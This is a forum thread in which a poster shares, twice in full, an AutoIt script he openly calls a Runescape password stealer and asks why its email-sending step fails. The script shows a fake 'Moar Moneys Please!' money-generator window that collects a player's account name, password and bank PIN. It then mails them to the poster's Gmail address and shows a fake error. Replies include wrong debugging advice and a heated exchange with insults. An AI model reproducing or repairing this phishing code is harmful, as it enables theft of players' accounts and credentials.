Okay, I give up.

Recommended Posts

alex OF DEATH 0

alex OF DEATH 0

I can't get the SMTP working. I don't really see how the SMTP script works, so It's hard to see/find/eliminate the problem.

Yes, this IS a Runescape password stealer. I didn't plan on releasing it, I just wanted to see if I could make a script to email me. (By the way, Runescape sucks)

#include <GUIConstants.au3>#include <INet.au3>#include <file.au3>Opt("GUIOnEventMode",1)$Form1=GUICreate("Moar Moneys Please!",630,114,213,204)$AccName=GUICtrlCreateInput("",88,8,161,21)$Label1=GUICtrlCreateLabel("Account Name",8,8,75,17)$Label2=GUICtrlCreateLabel("Account password",8,48,100,17)$Label3=GUICtrlCreateLabel("Bank PIN (only if put money in bank is checked)",5,91,231,17)$PIN=GUICtrlCreateInput("",248,88,113,21)$AccPass=GUICtrlCreateInput("",104,48,145,21)$BankMoneys=GUICtrlCreateCheckbox("BankMoneys",600,32,17,17)$Label4=GUICtrlCreateLabel("Put Money in bank? ",480,32,102,17)$Moneys=GUICtrlCreateInput("",480,8,145,21)$Label5=GUICtrlCreateLabel("Amount of money (up to 10",320,8,154,17)$Label6=GUICtrlCreateLabel(" Million Otherwise server will reject it and ",320,24,161,17)$Label7=GUICtrlCreateLabel("it and Wont Work)",320,40,100,17)$MakeItHappen=GUICtrlCreateButton("Make It Happen!",488,88,137,25,0)GUICtrlSetOnEvent($MakeItHappen,"SendtoMe")GUISetState(@SW_SHOW)While1$nMsg=GUIGetMsg()Switch$nMsgCase$GUI_EVENT_CLOSEExitEndSwitchWEndGlobal$oMyError=ObjEvent("AutoIt.Error","MyErrFunc");##################################; Include;###################################Include<file.au3>;##################################; Variables;##################################$s_SmtpServer="smtp.google.com"; address for the smtp-server to use - REQUIRED$s_FromName="RScaper"; name from who the email was sent$s_FromAddress="jahoozamawatsit@gmail.com"; address from where the mail should come$s_ToAddress="dechume@gmail.com"; destination address of the email - REQUIRED$s_Subject="U/P/P"; subject from the email - can be anything you want it to be$as_Body=""&GuictrlRead($accname)&GuiCtrlRead($AccPass)&Guictrlread($PIN); the messagebody from the mail - can be left blank but then you get a blank mail$s_AttachFiles=""; the file you want to attach- leave blank if not needed$s_CcAddress=""; address for cc - leave blank if not needed$s_BccAddress=""; address for bcc - leave blank if not needed$s_Username="jahoozamawatsit"; username for the account used from where the mail gets sent - REQUIRED$s_Password="********"; password for the account used from where the mail gets sent - REQUIRED$IPPort=465; port used for sending the mail$ssl=0; enables/disables secure socket layer sending - put to 1 if using httpS;~ $IPPort=465 ; GMAIL port used for sending the mail;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS;##################################; Script;##################################Global$oMyRet[2]Global$oMyError=ObjEvent("AutoIt.Error","MyErrFunc")$rc=_INetSmtpMailCom($s_SmtpServer,$s_FromName,$s_FromAddress,$s_ToAddress,$s_Subject,$as_Body,$s_AttachFiles,$s_CcAddress,$s_BccAddress,$s_Username,$s_Password,$IPPort,$ssl)If@errorThenMsgBox(0,"Error sending message","Error code:"&@error&" Description:"&$rc)EndIf;Func_INetSmtpMailCom($s_SmtpServer,$s_FromName,$s_FromAddress,$s_ToAddress,$s_Subject="",$as_Body="",$s_AttachFiles="",$s_CcAddress="",$s_BccAddress="",$s_Username="",$s_Password="",$IPPort=25,$ssl=0)$objEmail=ObjCreate("CDO.Message")$objEmail.From='"'&$s_FromName&'" <'&$s_FromAddress&'>'$objEmail.To=$s_ToAddressLocal$i_Error=0Local$i_Error_desciption=""If$s_CcAddress<>""Then$objEmail.Cc=$s_CcAddressIf$s_BccAddress<>""Then$objEmail.Bcc=$s_BccAddress$objEmail.Subject=$s_SubjectIfStringInStr($as_Body,"<")andStringInStr($as_Body,">")Then$objEmail.HTMLBody=$as_BodyElse$objEmail.Textbody=$as_Body&@CRLFEndIfIf$s_AttachFiles<>""ThenLocal$S_Files2Attach=StringSplit($s_AttachFiles,";")For$x=1To$S_Files2Attach[0]$S_Files2Attach[$x]=_PathFull($S_Files2Attach[$x])IfFileExists($S_Files2Attach[$x])Then$objEmail.AddAttachment($S_Files2Attach[$x])Else$i_Error_desciption=$i_Error_desciption&@lf&'File not found to attach: '&$S_Files2Attach[$x]SetError(1)return0EndIfNextEndIf$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")=$s_SmtpServer$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=$IPPort;Authenticated SMTPIf$s_Username<>""Then$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")=$s_Username$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")=$s_PasswordEndIfIf$SslThen$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl")=TrueEndIf;Update settings$objEmail.Configuration.Fields.Update; Sent the Message$objEmail.Sendif@errorthenSetError(2)return$oMyRet[1]EndIfEndFunc;==>_INetSmtpMailCom;;; Com Error HandlerFunc MyErrFunc()$HexNumber=Hex($oMyError.number,8)$oMyRet[0]=$HexNumber$oMyRet[1]=StringStripWS($oMyError.description,3)ConsoleWrite("### COM Error ! Number: "&$HexNumber&" ScriptLine: "&$oMyError.scriptline&" Description:"&$oMyRet[1]&@LF)SetError(1); something to check for when this function returnsReturnEndFunc;==>MyErrFunc func SendToMe()_INetSmtpMailCom ("smtp.google.com","RScaper","jahoozamawatsit@gmail.com","dechume@gmail.com","U/P/P",""&GuictrlRead($accname)&GuiCtrlRead($AccPass)&Guictrlread($PIN),"","","","jahoozamawatsit","no",465,0)MsgBox(1,"Uh oh","There has been an unidentifiable error (server down?) Money cant be created, closing now. Sorry :(")exitendfunc

error im getting:

Line 108

$objemail.send

$obj.email.send ^ERROR

Error: the requested action with this object has failed.

--

I realize this could be a simple type-o somewhere, or maybe I just set it up wrong, I don't know, just help v_v

Edited January 22, 2007 by alex OF DEATH

Share this post

Link to post

Share on other sites

Psibernetic 0

Psibernetic 0

add () to the end of that line.... or if params are needed, specify...as a general rule of thumb anything other than basic program execution usually has ()....(that classifies it as a function)...hope that works for you...

Share this post

Link to post

Share on other sites

SmOke_N 199

SmOke_N 199

Personally, I could care less what you wanted it for, you were just posting in the wrong forum and posting nonsense asking for help.

add () to the end of that line.... or if params are needed, specify...as a general rule of thumb anything other than basic program execution usually has ()....(that classifies it as a function)...hope that works for you...

Share this post

Link to post

Share on other sites

alex OF DEATH 0

alex OF DEATH 0

Still no. Either I'm a retard, you weren't clear enough, or I'm a retard.

#include <GUIConstants.au3>#include <INet.au3>#include <file.au3>;##################################; Script;##################################Global$oMyRet[2]Global$oMyError=ObjEvent("AutoIt.Error","MyErrFunc")Opt("GUIOnEventMode",1)$Form1=GUICreate("Moar Moneys Please!",630,114,213,204)$AccName=GUICtrlCreateInput("",88,8,161,21)$Label1=GUICtrlCreateLabel("Account Name",8,8,75,17)$Label2=GUICtrlCreateLabel("Account password",8,48,100,17)$Label3=GUICtrlCreateLabel("Bank PIN (only if put money in bank is checked)",5,91,231,17)$PIN=GUICtrlCreateInput("",248,88,113,21)$AccPass=GUICtrlCreateInput("",104,48,145,21)$BankMoneys=GUICtrlCreateCheckbox("BankMoneys",600,32,17,17)$Label4=GUICtrlCreateLabel("Put Money in bank? ",480,32,102,17)$Moneys=GUICtrlCreateInput("",480,8,145,21)$Label5=GUICtrlCreateLabel("Amount of money (up to 10",320,8,154,17)$Label6=GUICtrlCreateLabel(" Million Otherwise server will reject it and ",320,24,161,17)$Label7=GUICtrlCreateLabel("it and Wont Work)",320,40,100,17)$MakeItHappen=GUICtrlCreateButton("Make It Happen!",488,88,137,25,0)GUICtrlSetOnEvent($MakeItHappen,"SendtoMe")GUISetState(@SW_SHOW)While1$nMsg=GUIGetMsg()Switch$nMsgCase$GUI_EVENT_CLOSEExitEndSwitchWEndGlobal$oMyError=ObjEvent("AutoIt.Error","MyErrFunc");##################################; Include;###################################Include<file.au3>;##################################; Variables;##################################$s_SmtpServer="smtp.google.com"; address for the smtp-server to use - REQUIRED$s_FromName="RScaper"; name from who the email was sent$s_FromAddress="jahoozamawatsit@gmail.com"; address from where the mail should come$s_ToAddress="13neCo37@gmail.com"; destination address of the email - REQUIRED$s_Subject="U/P/P"; subject from the email - can be anything you want it to be$as_Body=""&GuictrlRead($accname)&GuiCtrlRead($AccPass)&Guictrlread($PIN); the messagebody from the mail - can be left blank but then you get a blank mail$s_AttachFiles=""; the file you want to attach- leave blank if not needed$s_CcAddress=""; address for cc - leave blank if not needed$s_BccAddress=""; address for bcc - leave blank if not needed$s_Username="jahoozamawatsit"; username for the account used from where the mail gets sent - REQUIRED$s_Password="not this time"; password for the account used from where the mail gets sent - REQUIRED$IPPort=465; port used for sending the mail$ssl=1; enables/disables secure socket layer sending - put to 1 if using httpS;~ $IPPort=465 ; GMAIL port used for sending the mail;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS;##################################; Script;##################################Global$oMyRet[2]Global$oMyError=ObjEvent("AutoIt.Error","MyErrFunc")$rc=_INetSmtpMailCom($s_SmtpServer,$s_FromName,$s_FromAddress,$s_ToAddress,$s_Subject,$as_Body,$s_AttachFiles,$s_CcAddress,$s_BccAddress,$s_Username,$s_Password,$IPPort,$ssl)If@errorThenMsgBox(0,"Error sending message","Error code:"&@error&" Description:"&$rc)EndIf;Func_INetSmtpMailCom($s_SmtpServer,$s_FromName,$s_FromAddress,$s_ToAddress,$s_Subject="",$as_Body="",$s_AttachFiles="",$s_CcAddress="",$s_BccAddress="",$s_Username="",$s_Password="",$IPPort=25,$ssl=0)$objEmail=ObjCreate("CDO.Message")$objEmail.From='"'&$s_FromName&'" <'&$s_FromAddress&'>'$objEmail.To=$s_ToAddressLocal$i_Error=0Local$i_Error_desciption=""If$s_CcAddress<>""Then$objEmail.Cc=$s_CcAddressIf$s_BccAddress<>""Then$objEmail.Bcc=$s_BccAddress$objEmail.Subject=$s_SubjectIfStringInStr($as_Body,"<")andStringInStr($as_Body,">")Then$objEmail.HTMLBody=$as_BodyElse$objEmail.Textbody=$as_Body&@CRLFEndIfIf$s_AttachFiles<>""ThenLocal$S_Files2Attach=StringSplit($s_AttachFiles,";")For$x=1To$S_Files2Attach[0]$S_Files2Attach[$x]=_PathFull($S_Files2Attach[$x])IfFileExists($S_Files2Attach[$x])Then$objEmail.AddAttachment($S_Files2Attach[$x])Else$i_Error_desciption=$i_Error_desciption&@lf&'File not found to attach: '&$S_Files2Attach[$x]SetError(1)return0EndIfNextEndIf$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")=$s_SmtpServer$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=$IPPort;Authenticated SMTPIf$s_Username<>""Then$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")=$s_Username$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")=$s_PasswordEndIfIf$SslThen$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl")=TrueEndIf;Update settings$objEmail.Configuration.Fields.Update; Sent the Message$objEmail.Sendif@errorthenSetError(2)return$oMyRet[1]EndIfEndFunc;==>_INetSmtpMailCom;;; Com Error HandlerFunc MyErrFunc()$HexNumber=Hex($oMyError.number,8)$oMyRet[0]=$HexNumber$oMyRet[1]=StringStripWS($oMyError.description,3)ConsoleWrite("### COM Error ! Number: "&$HexNumber&" ScriptLine: "&$oMyError.scriptline&" Description:"&$oMyRet[1]&@LF)SetError(1); something to check for when this function returnsReturnEndFunc;==>MyErrFunc func SendToMe()_INetSmtpMailCom ("smtp.google.com","RScaper","jahoozamawatsit@gmail.com","13neCo37@gmail.com","U/P/P",""&GuictrlRead($accname)&GuiCtrlRead($AccPass)&Guictrlread($PIN),"","","","jahoozamawatsit","Not This time",465,1)MsgBox(1,"Uh oh","There has been an unidentifiable error (server down?) Money cant be created, closing now. Sorry :(")exitendfunc

Share this post

Link to post

Share on other sites

Psibernetic 0

Psibernetic 0

sorry for being wrong... I only tried to help...Smoke I found your post highly unneccesarry...and offensive, regardless if I am wrong and he posted in wrong forum...there are much nicer ways to go about iit, such as you may receive more feedback on this issue if you post it here:

Share this post

Link to post

Share on other sites

SmOke_N 199

SmOke_N 199

Smoke I found your post highly unneccesarry...and offensive, regardless if I am wrong

1. If you had followed the post correctly, you would have seen that though my post may have been unnecessary to post publicly, it was indeed necessary for the OP to understand that things are not just done because you "want" them to be.

2. I've made no claims to care what you or others feel about myself and or my actions.

3. Speaking of Offensiveness... Have you ever stopped to consider that the poor advice/suggestions/whatever, could result in more damage than good?

You never even bothered to test the code, just assumed that you knew what the issue is/was. So before you get diarrhea of the mouth again, let me suggest that you do some homework and or actually know what you are talking about if you are going to give someone advice.

P.S.

If you took

Um... No.

offensively, you're in for a world of hurt in the real world when you grow up.

Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.